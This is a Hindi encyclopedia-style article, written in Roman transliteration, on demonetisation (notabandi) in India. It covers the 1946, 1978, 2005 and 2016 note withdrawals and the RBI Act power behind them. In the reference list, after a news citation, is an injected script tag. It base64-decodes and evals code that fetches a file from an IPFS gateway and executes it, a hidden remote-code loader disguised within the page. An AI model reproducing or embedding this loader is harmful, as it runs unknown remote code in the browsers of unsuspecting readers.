नोटबंदी
notabandi athava 'vimudrikaran' (aangrezi: Demonenitization) ek arthik gatividhi hai, jisake aantargat sarakar purani mudra ko samapt kar deti hai aur nee mudra ko chaloo karati hai. jab kala dhan badh jata hai aur arthavyavastha ke lie khatara ban jata hai, tab ise door karane ke lie is vidhi ka prayog kiya jata hai. jinake pas kala dhan hota hai, ve usake badale mean nee mudra lene ka sahas nahian juta pate aur kala dhan svayan hi nasht ho jata hai. notabandi ka prayog 8 navambar, 2016 ko bharat ke pradhanamantri nareandr modi ne kiya. is din se purane 500 aur 1000 rupe ki mudra band kar di gee aur ne mudrayean chalaee geean.
notabandi ki jaroorat kyoan?
yah aisa saval hai, jo lagabhag sabhi ke man-mastishk mean ata hoga ki akhir kisi bhi desh ko notabandi ya vimudrikaran ki avashyakata kyoan p dati hai? notabandi ya vimudrikaran ki avashyakata kisi bhi desh ko tab p dati hai, jab desh mean kaladhan ki jamakhori aur jali notoan ke karobar mean adhikata hone lagati hai. aise mean log kar chori karane ke lie nagad lenaden jyada karane lagate haian jinamean jyadatar b de not shamil hote haian. bhrashtachar, kala-dhan, nakali not, mahangaee aur atankavadi gatividhiyoan par kaboo pane ke lie notabandi ka upayog kiya ja sakata hai.[1]
arthashastri manate haian ki suraksha ke lihaj se har paanch saloan mean notoan mean kuchh badalav kie jane chahie, halaanki notoan ko band hi kar dena apane ap mean hi ek bahut b da badalav hai. sal 2016 mean notabandi se pahale tak jali notoan ki sankhya itani badh gee thi ki baiank aur etiem se bhi nakali not nikalane ke samachar mil rahe the. jaanch karane ke bad paya gaya ki ye jali not bilakul asali jaise the.
- REDIRECTsaancha:inhean bhi dekhean
not vapas lene ki shakti
bharatiy rizarv baiank adhiniyam, 1934 ki dhara 26 (2) ke tahat arabiaee ke keandriy bord ki sipharish par keandr sarakar bharat ke gajat mean adhisoochana jari kar kisi bhi sirij evan mooly varg ke not ko vaidh mudra ke roop mean nirast kar sakati hai, jo notiphikeshan mean nirdisht tithi se prabhavi ho jaega.
bharat mean notabandi
- sal 2016 se pahale bhi do bar desh mean notabandi ho chuki thi. pahali bar aangrez sarakar ne 1946 mean notabandi ki thi. isake bad 1978 mean bhi notabandi ki gee thi.
- pahali bar sal 1946 mean 500, 1000 aur 10 hajar ke notoan ko band karane ka phaisala liya gaya tha.
- san 1970 ke dashak mean bhi pratyaksh kar ki jaanch se ju di vaanchoo kameti ne vimudrikaran ka sujhav diya tha, lekin sujhav sarvajanik ho gaya, jisake chalate notabandi nahian ho paee.
- janavari 1978 mean moraraji desaee ki janata parti sarakar ne ek kanoon banakar 1000, 5000 aur 10 hajar ke not band kar die. halaanki tatkalin arabiaee gavarnar aee.ji. patel ne is notabandi ka virodh kiya tha.
- bharat mean 2005 mean manamohan sianh ki kaangres sarakar ne 500 ke 2005 se pahale ke notoan ka vimudrikaran kar diya tha.
- sal 2016 mean bhi nareandr modi ki sarakar ne 500 aur 1000 ke notoan ki notabandi ya vimudrikaran ka phaisala kiya. bharatiy arthavyavastha mean in donoan notoan ka prachalan lagabhag 86 phisadi tha. yahi not bajar mean sabase adhik chalate the.[1]
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tika-tippani aur sandarbh
- ↑ 1.0 1.1 notabandi kyoan huee, kab-kab huee aur isaki jaroorat kyoan aee? (hiandi) amarujala.com. abhigaman tithi: 21 march, 2022.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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